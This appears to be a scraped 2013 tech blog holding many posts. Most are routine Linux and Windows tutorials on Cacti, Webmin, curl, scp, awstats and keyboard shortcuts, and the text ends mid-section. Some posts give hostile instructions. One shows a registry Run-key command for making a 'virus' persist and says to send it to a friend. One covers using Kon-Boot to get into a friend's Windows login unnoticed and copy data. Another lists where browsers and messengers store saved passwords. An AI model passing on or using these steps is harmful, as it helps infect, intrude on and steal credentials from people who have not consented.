Monday, April 29, 2013

How to Install Cacti on Linux


Install Cacti, and others for dependency. Furthermore, httpd and PHP and MySQL are also needed.
[root@www ~]# yum --enablerepo=dag -y install cacti* net-snmp* rrdtool

[root@www ~]# vi /etc/snmp/snmpd.conf

com2sec notConfigUser default public

com2sec local localhost private

com2sec mynetwork 192.168.0.0/24 public

group notConfigGroup v1 notConfigUser
#
group notConfigGroup v2c notConfigUser
group MyROGroup v1 mynetwork
group MyROGroup v2c mynetwork
group MyROGroup v1 local
group MyROGroup v2c local

view systemview included .1.3.6.1.2.1.1
#
view systemview included .1.3.6.1.2.1.25.1.1
view all included .1 80

# line 66: make it comment and add lines next

#
access notConfigGroup "" any noauth exact systemview none none
access MyROGroup "" any noauth exact all none none
access MyRWGroup "" any noauth exact all all none


[root@www ~]# /etc/rc.d/init.d/snmpd start

Starting snmpd:                [  OK  ]

[root@www ~]# chkconfig snmpd on

[root@www ~]# mysqladmin -u root -p create cacti                  # create DB
Enter password:

[root@www ~]# mysql -p cacti < /var/www/cacti/cacti.sql   # import DB
Enter password:
[root@www ~]# mysql -u root –p      # login to MySQL

Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 4 to server version: 5.0.22

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
# set password for cactiuser

mysql> 
grant all on cacti.* to cactiuser@localhost identified by 'password';

Query OK, 0 rows affected (0.00 sec)

mysql> 
exit

Bye

[root@www ~]# vi /var/www/cacti/include/config.php# change cactiuser's password

$database_password = "
password
";

[root@www ~]# 
chown -R apache. /var/www/cacti

[root@www ~]# 
vi /etc/httpd/conf.d/cacti.conf
allow from 127.0.0.1 
192.168.0.0/24


[root@www ~]# /etc/rc.d/init.d/httpd reload

Reloading httpd:     [  OK  ]

Initial settings for Cacti

Access to 'http://(your hostname or IP address)/cacti/'. Following screen is shown, then Click 'Next'.

Wednesday, April 3, 2013

curl: If-Modified-Since Command Linux / Unix Example

curl: If-Modified-Since Command Linux / Unix Example


TTP protocol allows a client to specify a time condition for the document it requests. It is If-Modified-Since or If-Unmodified-Since. How do I use curl Unix/Linux command line option to test a server with If-Modified-Since condition and validate Last-Modified settings?

You can use curl command to see if a copy (http resources such as text/html or image/png) that they hold is still valid. However, this will only work if response has a Last-Modified header. You can send a Last-Modified header using web server or your web application.

Step #1: Find out if response has a Last-Modified header

Type the following curl command:

curl --silent --head http://imagia.in/foo/bar/image.png curl --silent --head http://imagia.in/foo/help.html
OR

curl I http://imagia.in/foo/bar/image.png curl I http://imagia.in/foo/help.html


In this example, note down the Last-Modified headers in the response to this HEAD request:
$ curl -I http://www.imagia.in/faq/
Sample outputs:



HTTP/1.1 200 OK

Server: nginx

Date: Tue, 11 Dec 2012 10:10:24 GMT

Content-Type: text/html; charset=UTF-8

Connection: keep-alive

X-Whom: l2-com-cyber

Last-Modified: Tue, 11 Dec 2012 10:10:23 GMT

Cache-Control: max-age=299, must-revalidate

Vary: Cookie

X-Pingback: http://www.imagia.in/faq/xmlrpc.php

X-Galaxy: Andromeda-1

Vary: Accept-Encoding

Sample outputs:

The syntax is as follows to send If-Modified-Since header using the curl command line:
$ curl -I --header 'If-Modified-Since: DATE-FORMAT-HERE' http://imagia.in/foo/bar/image.png
$ curl -I --header 'If-Modified-Since: Tue, 11 Dec 2012 10:10:24 GMT' http://www.imagia.in/faq/

Sample outputs:
HTTP/1.1 304 Not Modified
Server: nginx
Date: Tue, 11 Dec 2012 10:12:11 GMT
Connection: keep-alive
X-Whom: l2-com-cyber
Vary: Cookie
Last-Modified: Tue, 11 Dec 2012 10:10:23 GMT
X-Galaxy: Andromeda-1
Vary: Accept-Encoding

The resource sends a 304 Not Modified response, indicating that it supports Last-Modified validation.

Tuesday, April 2, 2013

Red Hat Enterprise Linux 5 administration ebooks download

Red Hat Enterprise Linux 5 administration ebooks download

Here we go

Download Link  

RedHat Enterprise Linux 5 Administration

Lock/Unlock Computer With Pendrive

Lock/Unlock Computer With Pendrive

SYSKEY is a utility that encrypts the hashed password information in a SAM database in a Windows system using a 128-bit encryption key.

SYSKEY was an optional feature added in Windows NT 4.0 SP3. It was meant to protect against offline password cracking attacks so that the SAM database would still be secure even if someone had a copy of it. However, in December 1999, a security team from Bind  View found a security hole in SYSKEY which indicates that a certain form of cryptanalytic attack is possible offline. A brute force attack then appeared to be possible.

Microsoft later collaborated with Bind View to issue a fix for the problem (dubbed the ‘Syskey Bug’) which appears to have been settled and SYSKEY has been pronounced secure enough to resist brute force attack.

According to Todd Sabin of the Bind View team RAZOR, the pre-RC3 versions of Windows 2000 were also affected.

So this is pretty cool, right?  Well, I really like the idea of keeping this on Floppy so that it requires a floppy disk (a sort of 2 factor (hardware/software) authentication?).

Naturally I wanted to go a bit further and use this on a USB drive instead of storing to a Floppy.  I can’t see myself carrying a floppy and a USB floppy drive around with me.  After all, this provides another layer of security.

NOTE:  I haven’t tested copying data from 1 USB to another USB to see if it works as a backup.  This way you could lock up a USB drive as a spare if needed.

Here’s how to get this to work using a USB drive.

1.  Insert your USB drive into your system and wait for it to be recognized and install any necessary drivers.

2.  Fire up disk management and re-assign the drive letter it was given to “A”.

6 (1)

 

Start up disk management by clicking Start and typing diskmgmt.msc

 

2

 

Right-click the USB drive and choose to assign driver letter or path.

3 (1)

 

Assign it to letter “A”

4

 

Accept the warning message

5

Now your USB drive is “A”

3.  Run Syskey and save encryption to USB Drive “A”

1

 

Click Start and type syskey followed by hitting Enter

8

Syskey launched; Click “Update”7

Choose “Store Startup key on floppy disk” and click “OK”

9

 

You’ll be prompted to enter your diskette. Make sure your USB drive is inserted and writable.

4.  Reboot and have fun.  Don’t lose your USB disk!  Also, to revert this, you can run syskey again and choose to store it locally instead of “on a floppy disk”.

Convert Text Message to Voice Message without using any Tool

Convert Text Message to Voice Message without using any Tool

Hello Guys,

Today I have something good for you and i.e convert text message to voice. By following these steps you can convert the text message to voice message.

 Step1:Open the Notepad from Start>All Programs> Accessories.

Step2:Then copy-paste the following code in the text area.

Dim msg, sapi
msg=InputBox(“Enter your text for conversion: For Ex. Kyrion.”,”Kyrion.in: Text2Speech Converter”)
Set sapi=CreateObject(“sapi.spvoice”)
sapi.Speak msg

Step3:Open File>Save as

Step4:Then in the Save As dialog box enter any name for the file with the extension .vbs and click on Save.

14





Step5:Then open the file that you had saved.

Step6:Enter the text which you want to convert to speech.

 

15

 

Step7:Click on OK button.

Now you will see the pure magic of Windows. After the Dialog box closes you will here what you had actually typed in the dialog box to  Convert Text Into Speech In Windows  by using notepad. You will be thrilled to know that your text has be converted in to speech.

Change View Mode of Magnifier in Windows 7

Change View Mode of Magnifier in Windows 7

Hey Guys,
Windows 7/Vista has a very nice feature of MAGNIFIER (to Use press ‘WinKey’ and ‘+’) some times when we change the view mode to Docked, other views mode get disabled and in this tut I am going to let you know that how to enable those options.

1) Go into the Registry (Start -> Run -> type in Regedit and then click OK).

2) Navigate to the following key: HKEY_CURRENT_USER\Software\Microsoft\ScreenMagnifier

3) Under the MagnificationMode DWORD value, change that to either 2 or 3.

4) Close Registry Editor

5) Restart the Computer

How to Execute virus on Start up

How to Execute virus on Start up

Hello guys,

You must be familiar with viruses and probably you must be knowing how we can create them. Once the virus get executed it will show its impact but it will last till the system is turn on, If you will turn off the system all the process of the virus will also get killed.

So our requirement is to run our virus again even if the system get rebooted. So for that we will have to send our virus on start up. But we don’t want to send it manually instead of that we would like to send it with the help of batch file.

So let us take we are having a virus demo.exe.

Follow the following steps for sending it on Start up.

1. Open a Notepad file

2. Write down the following command

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v demo /t REG_SZ /d demo.exe

3. Now save the notepad file with any name say kyrion but extension should be bat. Means we will have to create a batch file eg: kyrion.bat

4. Now send kyrion.bat along with demo.exe virus to your friend. Whenever he will click on kyrion.bat file automatically demo.exe will reach at the start up.

5. Now the impact of the virus will also be visible after the restart of the system.

All Saved Password Location

All Saved Password Location

Google Chrome:

Chrome Passwords are stored in a SQLite file the sites name and sites username is in clear text but the password is seeded in a Triple DES algorithm. The file is called Web Data and is stored in the following location

XP – C:\Documents and Settings\Username\Local Settings\Application Data\Google\Chrome\User Data\Default

Vista – C:\Users\Username\Appdata\Local\Google\Chrome\User Data\Default

Trillian:

Note- I have just realised the new version of trillian the passwords made be stored/encrypted differently

Trillian Passwords are stored in .ini files the first character of the password is encrypted with XOR with the key 243 then the password is converted into hex. The file is based on what the password is for so if it was icq it would be icq.ini (for new versions I think they are all stored in a file called accounts.ini or something similar if you open it up with notepad you will see all the data + the encrypted password). The files are stored in the following location:

XP (old version) – C:\Program Files\Trillian\users\

XP (new version) – C:\Documents and Settings\Username\Local Settings\Application Data\Trillian\user\global – I am not sure on exact but it is somewhere their

Vista (old version)- C:\Program Files\Trillian\users\

Vista (new version)- C:\Users\Username\Appdata\Roaming\Trillian\user\global

MSN /Windows Live Messenger:

MSN Messenger version 7.x: The passwords are stored under HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\C reds\[Account Name]

Windows Live Messenger version 8.x/9.x: The passwords are stored in the Credentials file, with entry name begins with “WindowsLive:name=”. They a set of Win API functions (Credential API’s) to store its’ security data (Credentials). These functions store user information, such as names and passwords for the accounts (Windows Live ID credentials). Windows Live ID Credential records are controlled by the operating system for each user and for each session. They are attached to the “target name” and “type”. If you are familiar with SQL you can think of target name and type as the primary key. Table below lists most frequently used fields in Windows Live ID Credential records.

Paltalk:

Paltalk Passwords are using the same password encryption algorithm. Paltalk passwords are stored in the registry. To encrypt the new password Paltalk looks at the serial number of the disk C:\ and performs a mix with the Nickname. The resulting string is then mixed again with the password and some other constants. The final string is then encoded and written to the registry.

AIM, ICQ and Yahoo Messenger passwords that are stored by Paltalk are encoded by BASE64 algorithm.

The passwords are stored in the Registry, under HKEY_CURRENT_USER\Software\Paltalk\[Account Name]

Google Talk:

Google Talk passwords are encoded/decoded using Crypto API. Encrypted Gmail passwords are stored by Google Talk in the registry under HKEY_CURRENT_USER\Software\Google\Google

Talk\Accounts\[Account Name]

Firefox:

The passwords are stored in one of the following filenames: signons.txt, signons2.txt, and signons3.txt (depends on Firefox version)

These password files are located inside the profile folder of Firefox, in [Windows Profile]\Application Data\Mozilla\Firefox\Profiles\[Profile Name]

Also, key3.db, located in the same folder, is used for encryption/decription of the passwords.

Yahoo Messenger 6.x:

The password is stored in the Registry, under HKEY_CURRENT_USER\Software\Yahoo\Pager

(”EOptions string” value)

Yahoo Messenger 7.5 or later:

The password is stored in the Registry, under HKEY_CURRENT_USER\Software\Yahoo\Pager – “ETS” value.

The value stored in “ETS” value cannot be recovered back to the original password.

AIM:

AIM uses Blowfish and base64 algorithms to encrypt the AIM passwords.

448-bit keyword is used to encrypt the password with Blowfish. The encrypted string is then encoded using base64. The passwords are stored in the Registry, under HKEY_CURRENT_USER\Software\America Online\AIM6\Passwords
Filezilla:

Passwords are stored in a .xml file located in Filezilla on appdata their is sources for this

Internet Explorer 4.00 – 6.00:

The passwords are stored in a secret location in the Registry known as the “Protected Storage”.

The base key of the Protected Storage is located under the following key:

“HKEY_CURRENT_USER\Software\Microsoft\Protected Storage System Provider”.

You can browse the above key in the Registry Editor (RegEdit), but you won’t be able to watch the passwords, because they are encrypted.

Also, this key cannot easily moved from one computer to another, like you do with regular Registry keys.

Internet Explorer 7.00 – 8.00:

The new versions of Internet Explorer stores the passwords in 2 different locations.

AutoComplete passwords are stored in the Registry under HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2.

HTTP Authentication passwords are stored in the Credentials file under Documents and Settings\Application Data\Microsoft\Credentials , together with login passwords of LAN computers and other passwords.

Opera:

The passwords are stored in wand.dat filename, located under [Windows Profile]\Application Data\Opera\Opera\profile

Outlook Express (All Versions):

The POP3/SMTP/IMAP passwords Outlook Express are also stored in the Protected Storage, like the passwords of old versions of Internet Explorer.

Outlook 98/2000:

Old versions of Outlook stored the POP3/SMTP/IMAP passwords in the Protected Storage, like the passwords of old versions of Internet Explorer.

Outlook 2002-2008:

All new versions of Outlook store the passwords in the same Registry key of the account settings.

The accounts are stored in the Registry under HKEY_CURRENT_USER\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\[Profile Name]\9375CFF0413111d3B88A00104B2A6676\[Account Index]

If you use Outlook to connect an account on Exchange server, the password is stored in the Credentials file, together with login passwords of LAN computers.

ThunderBird:

The password file is located under [Windows Profile]\Application Data\Thunderbird\Profiles\[Profile Name]

You should search a filename with .s extension.

Digsby:

The main password of Digsby is stored in [Windows Profile]\Application Data\Digsby\digsby.dat

All other passwords are stored in Digsby servers.

Facebook Tips & Tricks

Facebook Tips & Tricks

Hello Guys,

This post of mine is just to make yourself easy with handling your social life. Here I will be telling you various shortcuts for Facebook in Google Chrome & Mozilla Firefox browser.

Chrome        Firefox                  Facebook
Alt+m           Shift+Alt+m           New Message
Alt+0            Shift+Alt+0            Help Center
Alt+1            Shift+Alt+1            Home Page
Alt+2            Shift+Alt+2            Profile Page
Alt+3            Shift+Alt+3            Manage Friend List
Alt+4            Shift+Alt+4            Message List
Alt+5            Shift+Alt+5            Notification Page
Alt+6            Shift+Alt+6            Account Settings
Alt+7            Shift+Alt+7            Privacy Settings
Alt+8            Shift+Alt+8            Facebook Fan Page
Alt+9            Shift+Alt+9            Facebook Terms
Alt+?            Shift+Alt+?              Search Box

 

Enjoy and Have Fun!!!

Cool Keyboard Tricks in Windows 7

Cool Keyboard Tricks in Windows 7

Hello Guys,

In this tutorial I am going to tell you Some of the cool tricks of Keyboard button which will help you to work more efficiently and faster. Even you can impress your friends or colleagues by using these shortcuts button.

 



























































































[Windows] + [D]Show or Hide the desktop
[Windows] + [Home]Minimize all but selected window. Reverse by clicking the key combination again.
[Windows] + [Spacebar]Make all open windows transparent to view gadgets and icons on desktop.
[Windows] + left arrow OR [Windows] + right arrowDock selected window to the left or right half of your screen.
[Windows] + up arrow OR [Windows] + down arrowMaximized and restores the selected window.
[Windows] + [Tab]Launch 3D representation of open windows and click [Tab] key again to flip through them.
[Windows] + [B]Puts focus on the ‘show hidden icons’ button on the system tray.
[Windows] + [1] To [Windows] + [9]Launch first through ninth icon on taskbar, including items pinned to taskbar.
[Windows] + [SHIFT] + [1] To [Windows] + [SHIFT] + [9]Starts new instance of respective taskbar icon.
[Windows] + [Alt] + [1] To [Windows] + [Alt] + [9]Opens jump list for respective icon.
[Windows] + [T] OR [Windows] + [SHIFT] + [T]Move focus to front or back of taskbar.
[Alt] + [Ctrl] + [Tab] + left/right/up/down arrowFlip window.
[Alt] + [Tab]Cycle through open windows.
[Windows] + [P]Select the Projector Mode
[Windows] + [+] OR [Windows] + [-]Activates Windows Magnifier to zoom in or out of screen.
[Ctrl] + [Alt] + [D]Switch to docked mode.
Ctrl] + [Alt] + [L]Switch to lense mode.
[Ctrl] + [Alt] + [F]Switch from docked or lens mode back to full screen mode.
[Ctrl] + [Alt] + [I]Invert colors.
[Windows] + [Esc]Exist magnifier views.
[Windows] + [G]Cycle through desktop gadgets.
[Windows] + [X]Launches Windows Mobility Center. Especially useful if you’re working on a laptop.

Chakravyuh Online Event Schedule

Chakravyuh Online Event Schedule


Dear Warrior,

We express our heartiest gratitude to you for becoming a part of Chakravyuh!

Hereby in this email, we would like to update you about the schedule of Chakravyuh.

30th March 2012 1700 Hrs:   Registration Closes

31st March 2012 1900 Hrs:   Chakravyuh Online Event Starts for 60 minutes

31st March 2012 2000 Hrs:   Chakravyuh Online Event Closes

1st April 2012 1800 Hrs:       Online Event Result Declaration


Stay tuned on www.chakravyuh.org


Special Instructions

·         Prepare of the following topics for Online Event

o   Web Hacking

o   System Hacking

o   Network Hacking

o   Reverse Engineering

o   Digital Forensics

·         Keep your Chakravyuh Login Password with you all the time

·         Forgot Password functionality will not be available during the Online Event

·         Be prepared with a High Speed Internet Connection for Online Event


 All the best!!!

How to Search Quickly into your System

How to Search Quickly into your System

In our computer it takes lots of time to search a file or folder, and for that also we have to dig out many folders. So in this tutorial I am going to post this article by which we can save our time while searching for a particular file or folder.  This trick will save the all sub directory and file names in text file without browsing the drive or folder.

At first open command Prompt and then browse the folder you want to analyze the sub directories and files by using cd commands.

For Example: If you want navigate to E:\hack

then in command prompt type e: and then cd hack

1. Now if you want to scan all the sub directories and files which are present inside these sub directories then type the following command

dir *.* /s /b > list.txt

2. If you want to see only pdf files then use this command

dir *.pdf /s /b > list.txt

3. In a similiar way, if you want to search only microsoft word files then use this command

dir *.doc /s /b > list.txt

4. Likewise if you want search a file with particular name say address.doc

dir address.* /s /b > list.txt

or

dir address.doc /s /b > list.txt

How to Lock Desktop Icons

How to Lock Desktop Icons

In this tutorial we’ll see how we can lock our desktop icons so that no one can make any changes to the icons that we have arranged in the desktop. Generally it happens when someone comes to our system and mess up the arrangement.

So for that open Registry and go to the following path

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer.

Right-click in the right pane and select New, DWORD Value name NoSaveSettings and press the Enter key. Right-click on the new NoSaveSettings item and select Modify. Enter 1 in the Value data box. After this, whenever you restart Windows, your settings will return to their current state.

 

How to Hide a folder without any third party Software

How to Hide a folder without any third party Software

Step 1 : Rename any folder with extension {645FF040-5081-101B-9F08-00AA002F954E}



For eg,
If u’ve a folder with name “Anything”
press F2,
then type, “Anything.{645FF040-5081-101B-9F08-00AA002F954E}”
and Press Enter.

Step 2 : To get back to its original form,
Make a new batch file with any name and type
“ren Anything.{645FF040-5081-101B-9F08-00AA002F954E} Anything” .

How to Bypass Windows Authentication

How to Bypass Windows Authentication


Guys you must be knowing how to break the password of Windows by using some Live OS. But using Live OS is bit complicated and sometimes they take a lot of time to crack a password. So in this tutorial you will see how to bypass Windows OS so that you will not indulge in complicated situation and can save your time.

At first we need a software called Kon-Boot and we will have to make either CD or Pendrive bootable with this software. Kon-boot comes with many versions and but i am using Kon-boot v1.1 and below are the steps for making CD or Pendrive bootable.

 1. Insert your CD into your CD Rom or Plug in your Pendrive into your system.

2. Open Kon-Boot v1.1 folder.


aa1





3. For making Bootable CD go to KONCD and burn the image file.

4. For creating bootable pendrive go to KONUSB and double click on Konbootintall.exe and you will get a command prompt. Type the name of your Pendrive’s drive letter(i.e g: or h:).

cmd3

 

Thats all you have to do. Now your CD and Pendrive will get bootable.

Restart the system which you want to bypass, insert the Bootable CD of Konboot or Plugin your Pendrive. Make sure in Boot priority CD or USB should be in the first option. If it is not there then hit F12 at the BIOS screen and choose CD or USB in the first option. Now the system would start with the help of konboot and you will get this screen.

Now here choose Konboot v1.1 option

console

 

Click Enter after getting the following screen.lg1

 

Kon boot will modify the memory to let you login without knowing a password in windows.

kb1

 

In windows XP it will directly show Desktop without showing any login screen. For Windows7 it will show login Screen but it doesn’t mean that you need a particular password for it. Just type any random password or simply hit enter without giving any password and after that you will get the Desktop. Now you can take the control of the Whole system, you can modify anything, copy data into your pendrive etc. Now next time when your friend login he/she will get the same login screen with same password. It means your friend will not get any kind notification about his/her system which has been hacked by you.

Konboot can also bypass the authentication process of Linux (but not for all distros) and MAC OS.

Access Banned Torrent and Video Sites in India

Access Banned Torrent and Video Sites in India

Some of the ISPs in India have already started blocking torrent websites (The PirateBay, Torrentz, etc.) as well as some legal video sharing websites (like Vimeo, DailyMotion). Nowadays, when someone tries to access these websites, he/she may receive a rather annoying message:

Currently, two of the Indian ISPs – namely Reliance and Airtel – have blocked specific websites. The reason for blocking is yet unclear but the citing of a Court order in the display message gives us a clue. The US Government has already blocked websites in the past on grounds of copyright infringement and it is certain that other countries have also started to follow suit. Torrents have regularly provided users access to copyrighted content worldwide; particularly new movie releases which could be downloaded through torrents.

However, websites like Vimeo and DailyMotion are legal video sharing websites like Youtube and the reason is still unclear as to why these websites have been blocked as per “Court Orders”. In the coming days, we might also start seeing other service providers blocking number of websites on Governmental issues.

There is, however, a way users can still access these blocked websites legally without using a proxy. The trick lies in the protocol used for accessing the website. The sites being blocked in India are generally done so by using filters through the network that prevent the sites from opening. More often, these filters generally work on normal channels and don’t block secured websites.

You can access the Secured Version of the blocked websites using “https” instead of “http” in the address bar. When you open the blocked site with “https”, the website opens without any errors and you get a fully functional website.

13


 

54



53


 

Most people try to access these websites via Proxy; but using a proxy has its own disadvantages. The proxy network that a person is using maybe insecure. Moreover, proxys slow down network access speeds considerably. This is because all requests are channeled through the proxy server which handles a large number of clients, which causes slow response times.

Using https does not need a proxy and sites can be opened directly and response times are also quick as it is not channeled through any public server.

Disclaimer:  We DO NOT endorse any kind of piracy or copyrighted material. This article is strictly for educational and informational purposes only.

Working Of Zenmap ( Network Scanning Tool )

Zenmap is the official graphical user interface (GUI) for the Nmap Security Scanner. It is a multi-platform, free and open-source application designed to make Nmap easy for beginners to use while providing advanced features for experienced Nmap users. Frequently used scans can be saved as profiles to make them easy to run repeatedly. A command creator allows interactive creation of Nmap command lines. Scan results can be saved and viewed later. Saved scans can be compared with one another to see how they differ. The results of recent scans are stored in a searchable database.

CHOSEN SETUP

As Zenmap runs on a windows/Linux so i chose the following setup :

Windows  OS – Windows 7 installed on a system

Version- Zenmap 6 (http://nmap.org/dist/nmap-6.00-setup.exe)

 Scanning

Begin Zenmap by typing zenmap in a terminal or by clicking the Zenmap icon in the desktop environment.

Firstly, select the Target. Target could be any domain name or the IP Address, so right now my target is  10.0.0.2.

download

 

Profile

Profile combo box. Profiles exist for several common scans. After selecting a profile the Nmap command line associated with it is displayed on the screen. Of course, it is possible to edit these profiles or create new ones.

It is also possible to type in an Nmap command and have it executed without using a profile. Just type in the command and press return or click “Scan”.

In Zenmap there are 10 Types of Profile :

a.  INTENSE SCAN

Command = nmap -T4 -A 10.0.0.2

Description  = An intense, comprehensive scan. The -A option enables OS detection (-O), version detection (-sV), script scanning (-sC), and traceroute (–traceroute). Without root privileges only version detection and script scanning are run. This is considered an intrusive scan.

new14

SCAN RESULT TABS

Each scan window contains five tabs which each display different aspects of the scan results. They are:

a) Nmap Output

b) Ports / Hosts

c) Topology

d) Host Details

Each of these are discussed in this section:

NMAP OUTPUT

The “Nmap Output” tab is displayed by default when a scan is run. It shows the familiar Nmap terminal output.

PORT/HOSTS

When a service is selected, the “Ports / Hosts” tab shows all the hosts which have that port open or filtered. This is a good way to quickly answer the question “What computers are running HTTP?”

download (1)

 

TOPOLOGY


The “Topology” tab is an interactive view of the connections between hosts in a network.

 

download (2)

HOST DETAILS

The “Host Details” tab breaks all the information about a single host into a hierarchical display. Shown are the host’s names and addresses, its state (up or down), and the number and status of scanned ports. The host’s uptime, operating system, OS icon. When no exact OS match is found, the closest matches are displayed.

Transfer Files From One UNIX Server To Another Server Using Windows / Linux Desktop

transfer_imagesTransfer Files From One UNIX Server To Another Server Using Windows / Linux Desktop

Linux SCP Command explained

How do I securely transfer files from one UNIX / Linux server to another UNIX server using Windows or Linux desktop clients without using ftp client?

You need to use secure sftp or scp client for Windows XP / Vista / 7. Under Linux or Apple Mac OS X desktop you can use regular OpenSSH scp / sftp client to transfer files.

Windows SSH Client


You can use free SFTP, FTP and SCP client for Windows called putty or winscp.

Linux / UNIX / OS X SSH scp Client Examples


Use the following command from the server to which you want the files to go. In this example, transfer all files (/var/www/html) from remote server called server1 to local directory called /backup:
scp -r user@server1:/var/www/html/ /backup
In the following example, transfer all files (/var/www/html) from remote server called server1 to another server called server2:
scp -r user@server1:/var/www/html/ user@server2:/var/www/html/

Say hello to rsync


I recommend using rsync command which will only push or download updated files. It can copy locally, to/from another host over any remote shell, or to/from a remote rsync daemon. In this example, copy files from remote server called server1 into /backup directory:
rsync -avz -e ssh user@server1:/var/www/html /backup

How to Install and configure webmin on Linux

penguin-centos-logoHow to Install and configure webmin on Linux

Install Webmin that is web based system configuration tool for administrators.

Install required Perl module first.

[root@dlp ~]# yum -y install perl-Net-SSLeay

Download latest version of Webmin from here and install it.

[root@dlp ~]# wget http://download.webmin.com/download/yum/webmin-1.550-1.noarch.rpm

[root@dlp ~]# rpm -Uvh webmin-1.550-1.noarch.rpm 
warning: webmin-1.550-1.noarch.rpm: Header V3 DSA/SHA1 Signature, key ID 11f63c51: NOKEY
Preparing... ########################################### [100%]
Operating system is Generic Linux
1:webmin ########################################### [100%]
ip_tables: (C) 2000-2006 Netfilter Core Team
Webmin install complete. You can now login to https://www.server.world:10000/
as root with your root password.

[root@dlp ~]# 

vi /etc/webmin/miniserv.conf


# add at the last line: IP address you allow to access

allow=127.0.0.1 10.0.0.0/24


[root@dlp ~]# /etc/rc.d/init.d/webmin restart 

Stopping Webmin server in /usr/libexec/webmin
Starting Webmin server in /usr/libexec/webmin
Pre-loaded WebminCore

Access to "https://(hostname or IP address):10000/" with web browser, then login as root user.

 

 

1 (2)

 

Just logging. It's possible to configure on here without commands.

2 (2)

 

Wednesday, March 27, 2013

Scheduling awstats report generation

Scheduling awstats report generation


We've looked at running awstats reports, but only manually. Let's automate report generation so all you need to worry about is looking at those sweet, sweet numbers.




Automating awstats


In the previous article in this series we set up awstats for your site and ran an update of the reports manually. That's all well and good, but the command to update is big and ugly, and it would be kind of a pain to have to run it every time you want to view updated stats.

Fortunately Linux is chock full of ways to automate stuff. One way is to create a cron script to do all the updating, but since we're shooting for simple we should use a tool that's already processing your web logs on a regular basis. We can piggyback our updates onto logrotate's regular rotation tasks.

Scheduling reports with logrotate


With this approach we'll take advantage of the fact that logrotate is already performing regular log rotation for your domain. I mean, you do have your logs rotating automatically, right?

If not, visit this article series on logrotate and follow the directions there to set up log rotation for your virtual host. Log rotation keeps those logs from becoming giant disk-space-eating behemoths, so it's a very good idea. Really, do it now. I'll wait.

Now that we're certain you have logrotate managing your web logs, let's add a step to what logrotate does when it performs the rotation.

Editing the logrotate entry


Let's look at the logrotate.d file for a virtual host that's just a modification of the default entry for apache on Ubuntu:
/home/demo/public_html/example.com/logs/*.log {
weekly
missingok
rotate 52
compress
delaycompress
notifempty
create 640 root adm
sharedscripts
postrotate
if [ -f "`. /etc/apache2/envvars ; echo ${APACHE_PID_FILE:-/var/run/apache2.pid}`" ]; then
/etc/init.d/apache2 reload > /dev/null
fi
endscript
}

Don't worry too much about most of those entries if you haven't seen them before. There are only a couple important bits to note here.

First, take a look at the "weekly" directive in that logrotate file. That's okay for simple log rotation, but you probably want your web traffic stats updating daily. In that case you'd want to change that to "daily" so the rotate script runs more frequently, and possibly modify the "rotate 52" entry to keep more archived log files.

Next we look at what we want to add to the logrotate process. See that "postrotate" block up there? Don't worry about what's inside, just note that it's there. What that does is run some stuff after the log rotation is done (in this case, tell apache to reload if it's running). The reason we're looking at it is because there's also a "prerotate" directive that we can use to have awstats run through a log file before it's rotated.

The "prerotate" directive should run the stats update and generate the reports. And it should run just like the command we ran to get our reports. We would create a prerotate block like:
prerotate
/usr/local/awstats/tools/awstats_buildstaticpages.pl -update -config=www.example.com -dir=/home/demo/public_html/example.com/webstats -awstatsprog=/usr/local/awstats/wwwroot/cgi-bin/awstats.pl > /dev/null
endscript

The "> /dev/null" bit redirects the normal output of the command so it doesn't get sent to the console or emailed to root.

Inserted into the existing logrotate file for our virtual host, the whole thing would look like:
/home/demo/public_html/example.com/logs/*.log {
daily
missingok
rotate 52
compress
delaycompress
notifempty
create 640 root adm
sharedscripts
prerotate
/usr/local/awstats/tools/awstats_buildstaticpages.pl -update -config=www.example.com -dir=/home/demo/public_html/example.com/public/webstats -awstatsprog=/usr/local/awstats/wwwroot/cgi-bin/awstats.pl > /dev/null
endscript
postrotate
if [ -f "`. /etc/apache2/envvars ; echo ${APACHE_PID_FILE:-/var/run/apache2.pid}`" ]; then
/etc/init.d/apache2 reload > /dev/null
fi
endscript
}

And with that, every time the logs get rotated, the web stats get updated too.

Why use logrotate?


Instead of using logrotate to run the web stats update we could just schedule the stats to update through cron. So why insert the commands into logrotate?

The main reason is accuracy. By sticking a web stats update into the log rotation process we make sure that awstats is looking at log entries up until the last possible moment, when the log is rotated. If you have the web server reloading instead of restarting there might be a couple log entries missed (since the old log file would still be used as the old connections finish). The information lost in that case is negligible and not worth the downtime required to fully restart the web server.

If you want the web traffic reports to update more often than the web logs are rotated, you can use cron to run the update and report-building scripts on a more frequent schedule (like hourly). Awstats will recognize log entries that have already been processed and skip them when analyzing the data.

Monthly reports


Something you'll notice if you leave awstats running the way we've set it up is that the reports being generated only go into detail for the current month. Dividing the information up by month is a decent interval, but you may want to look at previous months in detail instead of only the current one.

So it's entirely optional, but if you'd like to keep monthly reports around it's really just a matter of tailoring a shell script to fit your site.

A cron script


We'll name the script after the awstats config file for the site in question and put it in the cron monthly directory. Using "www.example.com", we would create the file:
/etc/cron.monthly/awstats.www.example.com

Inside the file put the following script:
#!/bin/sh
#
# Run the awstats build script to generate a report for last month.
#

# Modify these 3 variables for your environment:
#
# The location of the awstats installation
AWSTATSDIR=/usr/local/awstats

# Your main domain, as you reported it to awstats
DOMAIN=www.example.com

# The directory where you're storing the reports for this domain
REPORTDIR=/home/demo/public_html/example.com/public/webstats

LASTMONTH=`date -d "last month" +%B`
LASTMONTHNUM=`date -d "last month" +%m`
LASTMONTHDIR=$REPORTDIR/$LASTMONTH

mkdir -p $LASTMONTHDIR
cp -Rf $AWSTATSDIR/wwwroot/icon $LASTMONTHDIR/awstatsicons

$AWSTATSDIR/tools/awstats_buildstaticpages.pl -month=$LASTMONTHNUM -update -config=$DOMAIN -dir=$LASTMONTHDIR -awstatsprog=$AWSTATSDIR/wwwroot/cgi-bin/awstats.pl > /dev/null

Change the values of "AWSTATSDIR", "DOMAIN", and "REPORTDIR" to match your environment and site.

After saving the file make your new script executable:
sudo chmod a+x /etc/cron.monthly/awstats.www.example.com

You can even run that script now to test it (and to get a detailed report for last month's data, if you have some). If you do, be sure to run it using sudo.

What it does


